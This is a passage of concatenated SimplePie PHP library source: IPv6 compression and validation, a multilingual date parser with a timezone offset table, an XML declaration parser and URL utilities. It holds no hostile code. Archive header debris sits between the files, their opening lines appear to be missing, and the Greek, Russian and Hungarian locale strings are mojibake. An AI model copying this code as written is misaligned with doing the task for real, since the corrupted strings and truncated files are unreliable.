FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz * @author elfrink at introweb dot nl * @author Josh Peck * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @param string $ip An IPv6 address * @return string The uncompressed IPv6 address */ public static function uncompress($ip) { $c1 = -1; $c2 = -1; if (substr_count($ip, '::') === 1) { list($ip1, $ip2) = explode('::', $ip); if ($ip1 === '') { $c1 = -1; } else { $c1 = substr_count($ip1, ':'); } if ($ip2 === '') { $c2 = -1; } else { $c2 = substr_count($ip2, ':'); } if (strpos($ip2, '.') !== false) { $c2++; } // :: if ($c1 === -1 && $c2 === -1) { $ip = '0:0:0:0:0:0:0:0'; } // ::xxx elseif ($c1 === -1) { $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } // xxx:: elseif ($c2 === -1) { $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } // xxx::xxx else { $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see uncompress() * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } return $ip_parts[0]; } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return [$ipv6_part, $ipv4_part]; } return [$ip, '']; } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') { return false; } // Nor can it be over four characters if (strlen($ipv6_part) > 4) { return false; } // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') { $ipv6_part = '0'; } // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) { return false; } } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) { return false; } } } return true; } return false; } /** * Checks if the given IP is a valid IPv6 address * * @codeCoverageIgnore * @deprecated Use {@see IPv6::check_ipv6()} instead * @see check_ipv6 * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function checkIPv6($ip) { return self::check_ipv6($ip); } } class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6'); res/simplepie/src/Parse/Date.php000064400000062645147577714370012616 0ustar00 ordinal day number in the week * * @access protected * @var array */ public $day = [ // English 'mon' => 1, 'monday' => 1, 'tue' => 2, 'tuesday' => 2, 'wed' => 3, 'wednesday' => 3, 'thu' => 4, 'thursday' => 4, 'fri' => 5, 'friday' => 5, 'sat' => 6, 'saturday' => 6, 'sun' => 7, 'sunday' => 7, // Dutch 'maandag' => 1, 'dinsdag' => 2, 'woensdag' => 3, 'donderdag' => 4, 'vrijdag' => 5, 'zaterdag' => 6, 'zondag' => 7, // French 'lundi' => 1, 'mardi' => 2, 'mercredi' => 3, 'jeudi' => 4, 'vendredi' => 5, 'samedi' => 6, 'dimanche' => 7, // German 'montag' => 1, 'mo' => 1, 'dienstag' => 2, 'di' => 2, 'mittwoch' => 3, 'mi' => 3, 'donnerstag' => 4, 'do' => 4, 'freitag' => 5, 'fr' => 5, 'samstag' => 6, 'sa' => 6, 'sonnabend' => 6, // AFAIK no short form for sonnabend 'so' => 7, 'sonntag' => 7, // Italian 'lunedì' => 1, 'martedì' => 2, 'mercoledì' => 3, 'giovedì' => 4, 'venerdì' => 5, 'sabato' => 6, 'domenica' => 7, // Spanish 'lunes' => 1, 'martes' => 2, 'miércoles' => 3, 'jueves' => 4, 'viernes' => 5, 'sábado' => 6, 'domingo' => 7, // Finnish 'maanantai' => 1, 'tiistai' => 2, 'keskiviikko' => 3, 'torstai' => 4, 'perjantai' => 5, 'lauantai' => 6, 'sunnuntai' => 7, // Hungarian 'hétfÅ‘' => 1, 'kedd' => 2, 'szerda' => 3, 'csütörtok' => 4, 'péntek' => 5, 'szombat' => 6, 'vasárnap' => 7, // Greek 'Δευ' => 1, 'ΤÏι' => 2, 'Τετ' => 3, 'Πεμ' => 4, 'ΠαÏ' => 5, 'Σαβ' => 6, 'ΚυÏ' => 7, // Russian 'Пн.' => 1, 'Ð’Ñ‚.' => 2, 'Ср.' => 3, 'Чт.' => 4, 'Пт.' => 5, 'Сб.' => 6, 'Ð’Ñ.' => 7, ]; /** * List of months, calendar month name => calendar month number * * @access protected * @var array */ public $month = [ // English 'jan' => 1, 'january' => 1, 'feb' => 2, 'february' => 2, 'mar' => 3, 'march' => 3, 'apr' => 4, 'april' => 4, 'may' => 5, // No long form of May 'jun' => 6, 'june' => 6, 'jul' => 7, 'july' => 7, 'aug' => 8, 'august' => 8, 'sep' => 9, 'september' => 9, 'oct' => 10, 'october' => 10, 'nov' => 11, 'november' => 11, 'dec' => 12, 'december' => 12, // Dutch 'januari' => 1, 'februari' => 2, 'maart' => 3, 'april' => 4, 'mei' => 5, 'juni' => 6, 'juli' => 7, 'augustus' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'december' => 12, // French 'janvier' => 1, 'février' => 2, 'mars' => 3, 'avril' => 4, 'mai' => 5, 'juin' => 6, 'juillet' => 7, 'août' => 8, 'septembre' => 9, 'octobre' => 10, 'novembre' => 11, 'décembre' => 12, // German 'januar' => 1, 'jan' => 1, 'februar' => 2, 'feb' => 2, 'märz' => 3, 'mär' => 3, 'april' => 4, 'apr' => 4, 'mai' => 5, // no short form for may 'juni' => 6, 'jun' => 6, 'juli' => 7, 'jul' => 7, 'august' => 8, 'aug' => 8, 'september' => 9, 'sep' => 9, 'oktober' => 10, 'okt' => 10, 'november' => 11, 'nov' => 11, 'dezember' => 12, 'dez' => 12, // Italian 'gennaio' => 1, 'febbraio' => 2, 'marzo' => 3, 'aprile' => 4, 'maggio' => 5, 'giugno' => 6, 'luglio' => 7, 'agosto' => 8, 'settembre' => 9, 'ottobre' => 10, 'novembre' => 11, 'dicembre' => 12, // Spanish 'enero' => 1, 'febrero' => 2, 'marzo' => 3, 'abril' => 4, 'mayo' => 5, 'junio' => 6, 'julio' => 7, 'agosto' => 8, 'septiembre' => 9, 'setiembre' => 9, 'octubre' => 10, 'noviembre' => 11, 'diciembre' => 12, // Finnish 'tammikuu' => 1, 'helmikuu' => 2, 'maaliskuu' => 3, 'huhtikuu' => 4, 'toukokuu' => 5, 'kesäkuu' => 6, 'heinäkuu' => 7, 'elokuu' => 8, 'suuskuu' => 9, 'lokakuu' => 10, 'marras' => 11, 'joulukuu' => 12, // Hungarian 'január' => 1, 'február' => 2, 'március' => 3, 'április' => 4, 'május' => 5, 'június' => 6, 'július' => 7, 'augusztus' => 8, 'szeptember' => 9, 'október' => 10, 'november' => 11, 'december' => 12, // Greek 'Ιαν' => 1, 'Φεβ' => 2, 'Μάώ' => 3, 'Μαώ' => 3, 'ΑπÏ' => 4, 'Μάι' => 5, 'Μαϊ' => 5, 'Μαι' => 5, 'ΙοÏν' => 6, 'Ιον' => 6, 'ΙοÏλ' => 7, 'Ιολ' => 7, 'ΑÏγ' => 8, 'Αυγ' => 8, 'Σεπ' => 9, 'Οκτ' => 10, 'Îοέ' => 11, 'Δεκ' => 12, // Russian 'Янв' => 1, 'ÑнварÑ' => 1, 'Фев' => 2, 'февралÑ' => 2, 'Мар' => 3, 'марта' => 3, 'Ðпр' => 4, 'апрелÑ' => 4, 'Май' => 5, 'маÑ' => 5, 'Июн' => 6, 'июнÑ' => 6, 'Июл' => 7, 'июлÑ' => 7, 'Ðвг' => 8, 'авгуÑта' => 8, 'Сен' => 9, 'ÑентÑбрÑ' => 9, 'Окт' => 10, 'октÑбрÑ' => 10, 'ÐоÑ' => 11, 'ноÑбрÑ' => 11, 'Дек' => 12, 'декабрÑ' => 12, ]; /** * List of timezones, abbreviation => offset from UTC * * @access protected * @var array */ public $timezone = [ 'ACDT' => 37800, 'ACIT' => 28800, 'ACST' => 34200, 'ACT' => -18000, 'ACWDT' => 35100, 'ACWST' => 31500, 'AEDT' => 39600, 'AEST' => 36000, 'AFT' => 16200, 'AKDT' => -28800, 'AKST' => -32400, 'AMDT' => 18000, 'AMT' => -14400, 'ANAST' => 46800, 'ANAT' => 43200, 'ART' => -10800, 'AZOST' => -3600, 'AZST' => 18000, 'AZT' => 14400, 'BIOT' => 21600, 'BIT' => -43200, 'BOT' => -14400, 'BRST' => -7200, 'BRT' => -10800, 'BST' => 3600, 'BTT' => 21600, 'CAST' => 18000, 'CAT' => 7200, 'CCT' => 23400, 'CDT' => -18000, 'CEDT' => 7200, 'CEST' => 7200, 'CET' => 3600, 'CGST' => -7200, 'CGT' => -10800, 'CHADT' => 49500, 'CHAST' => 45900, 'CIST' => -28800, 'CKT' => -36000, 'CLDT' => -10800, 'CLST' => -14400, 'COT' => -18000, 'CST' => -21600, 'CVT' => -3600, 'CXT' => 25200, 'DAVT' => 25200, 'DTAT' => 36000, 'EADT' => -18000, 'EAST' => -21600, 'EAT' => 10800, 'ECT' => -18000, 'EDT' => -14400, 'EEST' => 10800, 'EET' => 7200, 'EGT' => -3600, 'EKST' => 21600, 'EST' => -18000, 'FJT' => 43200, 'FKDT' => -10800, 'FKST' => -14400, 'FNT' => -7200, 'GALT' => -21600, 'GEDT' => 14400, 'GEST' => 10800, 'GFT' => -10800, 'GILT' => 43200, 'GIT' => -32400, 'GST' => 14400, 'GST' => -7200, 'GYT' => -14400, 'HAA' => -10800, 'HAC' => -18000, 'HADT' => -32400, 'HAE' => -14400, 'HAP' => -25200, 'HAR' => -21600, 'HAST' => -36000, 'HAT' => -9000, 'HAY' => -28800, 'HKST' => 28800, 'HMT' => 18000, 'HNA' => -14400, 'HNC' => -21600, 'HNE' => -18000, 'HNP' => -28800, 'HNR' => -25200, 'HNT' => -12600, 'HNY' => -32400, 'IRDT' => 16200, 'IRKST' => 32400, 'IRKT' => 28800, 'IRST' => 12600, 'JFDT' => -10800, 'JFST' => -14400, 'JST' => 32400, 'KGST' => 21600, 'KGT' => 18000, 'KOST' => 39600, 'KOVST' => 28800, 'KOVT' => 25200, 'KRAST' => 28800, 'KRAT' => 25200, 'KST' => 32400, 'LHDT' => 39600, 'LHST' => 37800, 'LINT' => 50400, 'LKT' => 21600, 'MAGST' => 43200, 'MAGT' => 39600, 'MAWT' => 21600, 'MDT' => -21600, 'MESZ' => 7200, 'MEZ' => 3600, 'MHT' => 43200, 'MIT' => -34200, 'MNST' => 32400, 'MSDT' => 14400, 'MSST' => 10800, 'MST' => -25200, 'MUT' => 14400, 'MVT' => 18000, 'MYT' => 28800, 'NCT' => 39600, 'NDT' => -9000, 'NFT' => 41400, 'NMIT' => 36000, 'NOVST' => 25200, 'NOVT' => 21600, 'NPT' => 20700, 'NRT' => 43200, 'NST' => -12600, 'NUT' => -39600, 'NZDT' => 46800, 'NZST' => 43200, 'OMSST' => 25200, 'OMST' => 21600, 'PDT' => -25200, 'PET' => -18000, 'PETST' => 46800, 'PETT' => 43200, 'PGT' => 36000, 'PHOT' => 46800, 'PHT' => 28800, 'PKT' => 18000, 'PMDT' => -7200, 'PMST' => -10800, 'PONT' => 39600, 'PST' => -28800, 'PWT' => 32400, 'PYST' => -10800, 'PYT' => -14400, 'RET' => 14400, 'ROTT' => -10800, 'SAMST' => 18000, 'SAMT' => 14400, 'SAST' => 7200, 'SBT' => 39600, 'SCDT' => 46800, 'SCST' => 43200, 'SCT' => 14400, 'SEST' => 3600, 'SGT' => 28800, 'SIT' => 28800, 'SRT' => -10800, 'SST' => -39600, 'SYST' => 10800, 'SYT' => 7200, 'TFT' => 18000, 'THAT' => -36000, 'TJT' => 18000, 'TKT' => -36000, 'TMT' => 18000, 'TOT' => 46800, 'TPT' => 32400, 'TRUT' => 36000, 'TVT' => 43200, 'TWT' => 28800, 'UYST' => -7200, 'UYT' => -10800, 'UZT' => 18000, 'VET' => -14400, 'VLAST' => 39600, 'VLAT' => 36000, 'VOST' => 21600, 'VUT' => 39600, 'WAST' => 7200, 'WAT' => 3600, 'WDT' => 32400, 'WEST' => 3600, 'WFT' => 43200, 'WIB' => 25200, 'WIT' => 32400, 'WITA' => 28800, 'WKST' => 18000, 'WST' => 28800, 'YAKST' => 36000, 'YAKT' => 32400, 'YAPT' => 36000, 'YEKST' => 21600, 'YEKT' => 18000, ]; /** * Cached PCRE for Date::$day * * @access protected * @var string */ public $day_pcre; /** * Cached PCRE for Date::$month * * @access protected * @var string */ public $month_pcre; /** * Array of user-added callback methods * * @access private * @var array */ public $built_in = []; /** * Array of user-added callback methods * * @access private * @var array */ public $user = []; /** * Create new Date object, and set self::day_pcre, * self::month_pcre, and self::built_in * * @access private */ public function __construct() { $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')'; $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')'; static $cache; if (!isset($cache[get_class($this)])) { $all_methods = get_class_methods($this); foreach ($all_methods as $method) { if (strtolower(substr($method, 0, 5)) === 'date_') { $cache[get_class($this)][] = $method; } } } foreach ($cache[get_class($this)] as $method) { $this->built_in[] = $method; } } /** * Get the object * * @access public */ public static function get() { static $object; if (!$object) { $object = new Date(); } return $object; } /** * Parse a date * * @final * @access public * @param string $date Date to parse * @return int Timestamp corresponding to date string, or false on failure */ public function parse($date) { foreach ($this->user as $method) { if (($returned = call_user_func($method, $date)) !== false) { return $returned; } } foreach ($this->built_in as $method) { if (($returned = call_user_func([$this, $method], $date)) !== false) { return $returned; } } return false; } /** * Add a callback method to parse a date * * @final * @access public * @param callback $callback */ public function add_callback($callback) { if (is_callable($callback)) { $this->user[] = $callback; } else { trigger_error('User-supplied function must be a valid callback', E_USER_WARNING); } } /** * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as * well as allowing any of upper or lower case "T", horizontal tabs, or * spaces to be used as the time separator (including more than one)) * * @access protected * @return int Timestamp */ public function date_w3cdtf($date) { static $pcre; if (!$pcre) { $year = '([0-9]{4})'; $month = $day = $hour = $minute = $second = '([0-9]{2})'; $decimal = '([0-9]*)'; $zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))'; $pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Year 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Decimal fraction of a second 8: Zulu 9: Timezone ± 10: Timezone hours 11: Timezone minutes */ // Fill in empty matches for ($i = count($match); $i <= 3; $i++) { $match[$i] = '1'; } for ($i = count($match); $i <= 7; $i++) { $match[$i] = '0'; } // Numeric timezone if (isset($match[9]) && $match[9] !== '') { $timezone = $match[10] * 3600; $timezone += $match[11] * 60; if ($match[9] === '-') { $timezone = 0 - $timezone; } } else { $timezone = 0; } // Convert the number of seconds to an integer, taking decimals into account $second = round((int)$match[6] + (int)$match[7] / (10 ** strlen($match[7]))); return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone; } return false; } /** * Remove RFC822 comments * * @access protected * @param string $data Data to strip comments from * @return string Comment stripped string */ public function remove_rfc2822_comments($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($pos === 0 || $string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } /** * Parse RFC2822's date format * * @access protected * @return int Timestamp */ public function date_rfc2822($date) { static $pcre; if (!$pcre) { $wsp = '[\x09\x20]'; $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)'; $optional_fws = $fws . '?'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $minute = $second = '([0-9]{2})'; $year = '([0-9]{2,4})'; $num_zone = '([+\-])([0-9]{2})([0-9]{2})'; $character_zone = '([A-Z]{1,5})'; $zone = '(?:' . $num_zone . '|' . $character_zone . ')'; $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i'; } if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone ± 9: Timezone hours 10: Timezone minutes 11: Alphabetic timezone */ // Find the month number $month = $this->month[strtolower($match[3])]; // Numeric timezone if ($match[8] !== '') { $timezone = $match[9] * 3600; $timezone += $match[10] * 60; if ($match[8] === '-') { $timezone = 0 - $timezone; } } // Character timezone elseif (isset($this->timezone[strtoupper($match[11])])) { $timezone = $this->timezone[strtoupper($match[11])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2/3 digit years if ($match[4] < 50) { $match[4] += 2000; } elseif ($match[4] < 1000) { $match[4] += 1900; } // Second is optional, if it is empty set it to zero if ($match[7] !== '') { $second = $match[7]; } else { $second = 0; } return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone; } return false; } /** * Parse RFC850's date format * * @access protected * @return int Timestamp */ public function date_rfc850($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $year = $hour = $minute = $second = '([0-9]{2})'; $zone = '([A-Z]{1,5})'; $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone */ // Month $month = $this->month[strtolower($match[3])]; // Character timezone if (isset($this->timezone[strtoupper($match[8])])) { $timezone = $this->timezone[strtoupper($match[8])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2 digit year if ($match[4] < 50) { $match[4] += 2000; } else { $match[4] += 1900; } return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone; } return false; } /** * Parse C99's asctime()'s date format * * @access protected * @return int Timestamp */ public function date_asctime($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $wday_name = $this->day_pcre; $mon_name = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $sec = $min = '([0-9]{2})'; $year = '([0-9]{4})'; $terminator = '\x0A?\x00?'; $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Year */ $month = $this->month[strtolower($match[2])]; return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]); } return false; } /** * Parse dates using strtotime() * * @access protected * @return int Timestamp */ public function date_strtotime($date) { $strtotime = strtotime($date); if ($strtotime === -1 || $strtotime === false) { return false; } return $strtotime; } } class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date'); res/simplepie/src/XML/Declaration/Parser.php000064400000023123147577714370014774 0ustar00data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @access public * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === self::STATE_EMIT) { return true; } $this->version = ''; $this->encoding = ''; $this->standalone = ''; return false; } /** * Check whether there is data beyond the pointer * * @access private * @return bool true if there is further data, false if not */ public function has_data() { return (bool) ($this->position < $this->data_length); } /** * Advance past any whitespace * * @return int Number of whitespace characters passed */ public function skip_whitespace() { $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position); $this->position += $whitespace; return $whitespace; } /** * Read value */ public function get_value() { $quote = substr($this->data, $this->position, 1); if ($quote === '"' || $quote === "'") { $this->position++; $len = strcspn($this->data, $quote, $this->position); if ($this->has_data()) { $value = substr($this->data, $this->position, $len); $this->position += $len + 1; return $value; } } return false; } public function before_version_name() { if ($this->skip_whitespace()) { $this->state = self::STATE_VERSION_NAME; } else { $this->state = self::STATE_ERROR; } } public function version_name() { if (substr($this->data, $this->position, 7) === 'version') { $this->position += 7; $this->skip_whitespace(); $this->state = self::STATE_VERSION_EQUALS; } else { $this->state = self::STATE_ERROR; } } public function version_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_VERSION_VALUE; } else { $this->state = self::STATE_ERROR; } } public function version_value() { if ($this->version = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_ENCODING_NAME; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } public function encoding_name() { if (substr($this->data, $this->position, 8) === 'encoding') { $this->position += 8; $this->skip_whitespace(); $this->state = self::STATE_ENCODING_EQUALS; } else { $this->state = self::STATE_STANDALONE_NAME; } } public function encoding_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_ENCODING_VALUE; } else { $this->state = self::STATE_ERROR; } } public function encoding_value() { if ($this->encoding = $this->get_value()) { $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_STANDALONE_NAME; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } public function standalone_name() { if (substr($this->data, $this->position, 10) === 'standalone') { $this->position += 10; $this->skip_whitespace(); $this->state = self::STATE_STANDALONE_EQUALS; } else { $this->state = self::STATE_ERROR; } } public function standalone_equals() { if (substr($this->data, $this->position, 1) === '=') { $this->position++; $this->skip_whitespace(); $this->state = self::STATE_STANDALONE_VALUE; } else { $this->state = self::STATE_ERROR; } } public function standalone_value() { if ($standalone = $this->get_value()) { switch ($standalone) { case 'yes': $this->standalone = true; break; case 'no': $this->standalone = false; break; default: $this->state = self::STATE_ERROR; return; } $this->skip_whitespace(); if ($this->has_data()) { $this->state = self::STATE_ERROR; } else { $this->state = self::STATE_EMIT; } } else { $this->state = self::STATE_ERROR; } } } class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser'); res/simplepie/src/Misc.php000064400000205646147577714370011562 0ustar00 0) { $time .= $hours.':'; } $minutes = floor($remainder / 60); $seconds = $remainder % 60; if ($minutes < 10 && $hours > 0) { $minutes = '0' . $minutes; } if ($seconds < 10) { $seconds = '0' . $seconds; } $time .= $minutes.':'; $time .= $seconds; return $time; } public static function absolutize_url($relative, $base) { $iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative); if ($iri === false) { return false; } return $iri->get_uri(); } /** * Get a HTML/XML element from a HTML string * * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!) * @param string $realname Element name (including namespace prefix if applicable) * @param string $string HTML document * @return array */ public static function get_element($realname, $string) { // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.7, use "DOMDocument" instead.'), \E_USER_DEPRECATED); $return = []; $name = preg_quote($realname, '/'); if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) { $return[$i]['tag'] = $realname; $return[$i]['full'] = $matches[$i][0][0]; $return[$i]['offset'] = $matches[$i][0][1]; if (strlen($matches[$i][3][0]) <= 2) { $return[$i]['self_closing'] = true; } else { $return[$i]['self_closing'] = false; $return[$i]['content'] = $matches[$i][4][0]; } $return[$i]['attribs'] = []; if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) { for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) { if (count($attribs[$j]) === 2) { $attribs[$j][2] = $attribs[$j][1]; } $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = Misc::entities_decode(end($attribs[$j])); } } } } return $return; } public static function element_implode($element) { $full = "<$element[tag]"; foreach ($element['attribs'] as $key => $value) { $key = strtolower($key); $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"'; } if ($element['self_closing']) { $full .= ' />'; } else { $full .= ">$element[content]"; } return $full; } public static function error($message, $level, $file, $line) { if ((ini_get('error_reporting') & $level) > 0) { switch ($level) { case E_USER_ERROR: $note = 'PHP Error'; break; case E_USER_WARNING: $note = 'PHP Warning'; break; case E_USER_NOTICE: $note = 'PHP Notice'; break; default: $note = 'Unknown Error'; break; } $log_error = true; if (!function_exists('error_log')) { $log_error = false; } $log_file = @ini_get('error_log'); if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) { $log_error = false; } if ($log_error) { @error_log("$note: $message in $file on line $line", 0); } } return $message; } public static function fix_protocol($url, $http = 1) { $url = Misc::normalize_url($url); $parsed = Misc::parse_url($url); if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') { return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http); } if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) { return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http); } if ($http === 2 && $parsed['scheme'] !== '') { return "feed:$url"; } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'podcast', 0, 4); } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'itpc', 0, 4); } return $url; } public static function array_merge_recursive($array1, $array2) { foreach ($array2 as $key => $value) { if (is_array($value)) { $array1[$key] = Misc::array_merge_recursive($array1[$key], $value); } else { $array1[$key] = $value; } } return $array1; } public static function parse_url($url) { $iri = new \SimplePie\IRI($url); return [ 'scheme' => (string) $iri->scheme, 'authority' => (string) $iri->authority, 'path' => (string) $iri->path, 'query' => (string) $iri->query, 'fragment' => (string) $iri->fragment ]; } public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '') { $iri = new \SimplePie\IRI(''); $iri->scheme = $scheme; $iri->authority = $authority; $iri->path = $path; $iri->query = $query; $iri->fragment = $fragment; return $iri->get_uri(); } public static function normalize_url($url) { $iri = new \SimplePie\IRI($url); return $iri->get_uri(); } public static function percent_encoding_normalization($match) { $integer = hexdec($match[1]); if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) { return chr($integer); } return strtoupper($match[0]); } /** * Converts a Windows-1252 encoded string to a UTF-8 encoded string * * @static * @param string $string Windows-1252 encoded string * @return string UTF-8 encoded string */ public static function windows_1252_to_utf8($string) { static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", 